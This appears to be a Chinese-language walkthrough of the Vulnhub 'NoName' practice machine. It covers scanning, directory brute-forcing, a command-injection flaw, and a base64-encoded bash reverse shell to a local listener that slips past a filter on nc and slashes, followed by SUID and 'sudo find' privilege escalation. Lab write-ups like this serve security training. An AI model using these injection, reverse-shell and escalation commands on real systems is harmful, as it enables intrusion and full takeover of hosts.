Vulnhub 靶机-NoName
信息收集
nmap -A -p- 192.168.1.30
发现只开放了 80 端口。
打开网页看了一下,发现是个假的提交框。
同时发现页面给了提示,
Fake Admin Area--说明是假的管理界面,需要找到真的这个提交框,那么现在思路很明确了。开找!!!
首先,我们需要把相关页面都检查一遍,防止有遗漏信息。
检查一遍之后,发现没有任何遗漏,那么开始目录遍历。
目录遍历有很多工具,比如:dirb,dirbuster,gobuster,dirsearch 等等。今天我们掌握的是 dirsearch:
dirsearch -u http://192.168.1.30 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -r -i 200,300-404 -x 404 -e php,html,json,md,xml --random-agent
#参数意思:
#-t 线程
#-r 暴力递归
#-i 指定相应代码
#-x 不显示相应代码
#-e 指定后缀语言
#--random-agent 自定义请求头
在这里,只探测了两个请求,笔者一个个看过去。虽然显示了一个 admin,但是目前并没有任何作用,只有四张图片,笔者怀疑该页面可能有隐藏信息,就 curl 继续查看
curl -i -L 192.168.1.30/admin
并没有发现任何的有用的信息
到了这一步,我猜想,可能是将信息隐藏到图片中,所有,将四张图片都下载下来,查看了一番:
结果很遗憾,并没有发现任何有用的价值。
其实到了这里,笔者心里面已经开始慌了,笔者前去官网查看了一下这个靶机难度,怀疑是看错了靶机难易程度
发现并没有看错,是一个初级水平的靶机,这个时候,笔者就纳闷了,为什么找不到漏洞呢?难道是找中间件漏洞?
locate php/remote/29290.c //查看漏洞位置
gcc exp.c -o exp //编译
apt-get install libssl-dev //解决报错
发现还是报错!!!!
不会解决问题的程序员不是好网络渗透爱好者!!!
继续解决问题:
gcc exp.c -o exp -lssl -lcrypto //编译成功,指定库放在源文件后面即可。
现在,笔者怀着满满的信心,开始尝试!!!
开启监听
笔者先尝试看看需要哪些参数:
开始尝试第一种:----错
开始尝试第二种:---但是很遗憾,返回的都是 404。也许还是参数设置不对。
开始尝试第三种:---得到的结论一模一样。
现在可以得出,这个漏洞不能利用。当然可能是我方式不对,所以,如果有知道该如何利用的,请告知我一声,一起学习一起进步!!
现在开始反思,是哪个地方出了问题?
1.靶机难度确实是入门,那么说明漏洞不难发现。
2.目前探测的只有 80 页面,探测没有问题。页面也很简单,都是静态,没有任何可交互的模式
3.进行过中间件漏洞探测。中间件漏洞探测目前没有发现。
4.进行过 web 目录遍历,那么根据页面提示,可能需要找到真正的 admin 页面。
5.如果中间件没有问题,那么就是目录有问题,也许是字典太小了?
好,说干就干,尝试大字典爆破!因为之前扫描发现有一个 index.php,那么先用 php 大字典扫一下:
有新发现!!!!并且可以执行命令!!
反弹 shell
看一下这个到底能不能执行其他命令
尝试了之后,发现并不能执行其他命令
那么换个思路,看能不能用 | 管道符。
127.0.0.1|id
既然可以,那么先看一下该页面的源代码,看看是做了哪些处理,这样可以避免和之前一样,走不必要的弯路。
127.0.0.1|cat superadmin.php
#具体解释放到图片中。
#那么这边是禁止nc等参数,同时也是禁止/ &符等参数。那么我们是否可以用一些加解密的方式跳过呢?来尝试一下!
#还是一样,首先判断有哪些可以反弹的命令。(因为笔者之前没有判断,无脑nc,失败过,所以这次复盘才有这个过程。)
127.0.0.1 | whereis nc #没有信息
#正常来说都有bash,那么来看看bash把
127.0.0.1 | whereis bash #有
#那么开始bash反弹。
bash -c 'exec bash -i &>/dev/tcp/192.168.1.16/8888 <&1'
echo -n "bash -c 'exec bash -i &>/dev/tcp/192.168.1.16/8888 <&1'" | base64
echo -n YmFzaCAtYyAnZXhlYyBiYXNoIC1pICY+L2Rldi90Y3AvMTkyLjE2OC4xLjE2Lzg4ODggPCYxJw== | base64 -d
##发现加密后和解密后一致,那么可以开始反弹shell了。
这里需要注意一下,因为 base64 解密后,只是一个纯文本,需要给他执行权限,所以后面需要给他一个 bash,让他执行。如下:
127.0.0.1 |echo YmFzaCAtYyAnZXhlYyBiYXNoIC1pICY+L2Rldi90Y3AvMTkyLjE2OC4xLjE2Lzg4ODggPCYxJw== | base64 -d | bash
#开启监听:
rlwrap nc -lvnp 8888
反弹成功!!!
提权
查看相关版本信息:这个版本我记得是没有什么漏洞的。
继续查看可否有 suid 提权的。
find / -perm -u=s -type f 2>/dev/null |grep /usr/bin
#这里有一个pkexec,是可以提权的,但是有一个限制,就是需要有sudo用户组权限或者密码。也就是目前应该是不可以用的。再找找其他的。
crontab -l #也没有定时任务。
#这里需要再找找其他文件,如果找不到,就需要上传linux检测的相关脚本,自行检测了。
继续查询 home 目录下的用户目录:
find / -type f -iname "*passwd*" #我都看了一遍,没有查到有用的信息。
#那么在查找隐藏文件中有passwd的
find / -type f -iname ".*passwd*"
#完美!!找到了!!!
好吧,显示需要用交互式命令,那么给他一个交互式命令把。
python3 -c 'import pty;pty.spawn("/bin/bash")';
进入 haclabs 目录,用 cat 看了一下.sudo_as_admin_successful 这个目录**,显示的还是这个,那么从字面意思来看,是这个用户有一个 root 权限的命令,那么用 sudo -l 查看一下
使用 find 提权,这个再熟悉不过了!
sudo find -exec /bin/bash \; -quit
提权成功!!!
===========================================================================
这个靶机没有什么可以总结的,如果非要总结就是,以后扫描目录要用一个大目录~~~哈哈哈哈